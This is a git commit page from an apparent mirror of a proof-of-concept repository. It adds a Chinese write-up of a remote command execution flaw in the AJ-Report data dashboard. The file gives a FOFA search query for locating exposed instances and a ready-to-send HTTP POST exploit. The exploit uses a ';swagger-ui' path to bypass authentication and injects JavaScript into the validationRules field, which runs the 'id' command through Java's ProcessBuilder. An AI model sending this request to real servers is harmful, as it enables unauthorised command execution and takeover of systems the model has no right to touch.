mirror of
https://github.com/wooluo/POC00.git
synced 2026-03-18 03:44:52 +08:00
Create AJ-Report开源数据大屏存在远程命令执行漏洞.md
This commit is contained in:
parent
b30153d36a
commit
a8ac659e67
28
AJ-Report开源数据大屏存在远程命令执行漏洞.md
Normal file
28
AJ-Report开源数据大屏存在远程命令执行漏洞.md
Normal file
@ -0,0 +1,28 @@
|
||||
## AJ-Report开源数据大屏存在远程命令执行漏洞
|
||||
|
||||
该平台可以通过post方式在validationRules参数对应值中进行命令执行,可以获得服务器权限,登陆管理后台接管大屏。如果被不法分子利用,书写反动标语,危害后果十分严重。
|
||||
|
||||
## fofa
|
||||
```
|
||||
title="AJ-Report"
|
||||
```
|
||||
|
||||
## poc
|
||||
```
|
||||
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Content-Type: application/json;charset=UTF-8
|
||||
Connection: close
|
||||
|
||||
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
## 漏洞来源
|
||||
- https://gitee.com/anji-plus/report/issues/I9HCB2
|
||||
Loading…
x
Reference in New Issue
Block a user